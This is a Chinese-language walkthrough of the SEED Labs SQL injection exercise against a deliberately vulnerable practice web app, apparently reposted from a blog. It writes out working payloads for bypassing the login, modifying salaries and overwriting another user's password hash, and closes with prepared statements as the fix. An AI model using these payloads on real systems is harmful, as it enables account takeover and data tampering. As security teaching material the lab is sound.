【sqli】

一、作业题目

SQL 注入是一种代码注入技术,它利用 web 应用程序和数据库服务器之间接口中的漏洞。当用户的输入在发送到后端数据库服务器之前未在 web 应用程序中正确检查时,就会出现此漏洞。许多 web 应用程序从用户处获取输入,然后使用这些输入构造 SQL 查询,这样 web 应用程序就可以从数据库中获取信息。Web 应用程序还使用 SQL 查询在数据库中存储信息。这些是 web 应用程序开发中的常见做法。如果未仔细构造 SQL 查询,则可能会出现 SQL 注入漏洞。SQL 注入攻击是对 web 应用程序最常见的攻击之一。

在本实验室中,我们创建了一个易受 SQL 注入攻击的 web 应用程序。我们的 web 应用程序包含许多 web 开发人员所犯的常见错误。学生的目标是找到利用 SQL 注入漏洞的方法,演示攻击可能造成的损害,并掌握有助于抵御此类攻击的技术。

二、实验步骤

1. 修改hosts

sudo nano /etc/hosts

在这里插入图片描述

2. 启动环境

dcup

在这里插入图片描述

三、TASK

1. Task1:Get Familiar with SQL Statements

进入mysql

mysql -u root -p dees

在这里插入图片描述
在这里插入图片描述

2. Task2: SQL Injection Attack on SELECT Statement

2.1 Task2.1:SQL Injection Attack from webpage

登录http://www.seed-server.com/
在这里插入图片描述

可以看到密码部分做了 sha1 哈希,因此我们考虑直接绕过,此处密码为任意值。登录,如图所示:

在这里插入图片描述

可以看到已经成功以 admin 的身份登录。原因分析: 当我们把 username 输入为 admin’#时,我们实际上把 sql 语句拼接成了: where name=’admin’#’ and password=’’,因此#后面的直接被注释忽 略,因 此直接绕过了。

在这里插入图片描述

2.2 Task2.2: SQL Injection Attack from command line

$ curl 'www.seed-server.com/unsafe_home.php?username=admin&Password=t
estX’

在这里插入图片描述

2.3 Task2.3: Append a new SQL statement

如图所示,使用

payload:
admin'; update sqllab_users set Salary=123 where Username='Alice';# 

登录,发现报错:这是因为 mysql_query 的一种保护机制,使得一条语句中不能执行两条及以上的 mysql 语句,因此会报错无法注入。在这里插入图片描述

3. Task3: SQL Injection Attack on UPDATE Statement

3.1 Task 3.1: Modify your own salary

在nickname一栏注入

AAA',salary='111111'where ID=1;#

在这里插入图片描述

3.2 Task3.2 Modify other people’s salary

,修改 Boby 的工资为 1

aaaa',salary=1 where EID=20000;#

在这里插入图片描述
我们通过where 语句来索引Boby 的信息,从而直接使用sql 注入修改了Boby

的个人信息,同时使用#注释原来的 sql 语句。

3.3 Task3.3:Modify other people’s password

在这里插入图片描述
将数据库存储的密码修改为我们想要的密码再使用 sha1 哈希即可。
如图所示,123 经过 sha1 为:40bd001563085fc35165329ea1ff5c5ecbdbbeef

aaa',Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where EID=20000;#

在这里插入图片描述
登录 Boby,密码输入 123,发现成功登录:

4. Task4:Contermeasure—Prepared Statement

修改 unsafe.php 的代码
在这里插入图片描述
重启docker,已经不能注入

猜你喜欢

转载自blog.csdn.net/grb819/article/details/120990385